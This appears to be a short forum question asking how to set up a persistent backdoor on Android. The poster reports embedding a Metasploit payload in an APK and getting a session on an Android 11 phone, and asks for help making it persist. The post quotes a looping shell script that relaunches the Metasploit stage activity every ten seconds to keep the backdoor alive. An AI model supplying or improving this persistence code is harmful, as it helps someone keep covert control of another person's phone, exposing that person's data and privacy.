How to setup a persistent backdoor on Android?

Can this tool be used for embedded apk like i am embedding a payload with apk and generating the script … In my phone Android 11 ray payload giving me session and when i execute the shell (#!/bin/sh
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 10
done) it is working some time not working can u help me for embedded apk cuz this shell not working for embedded apks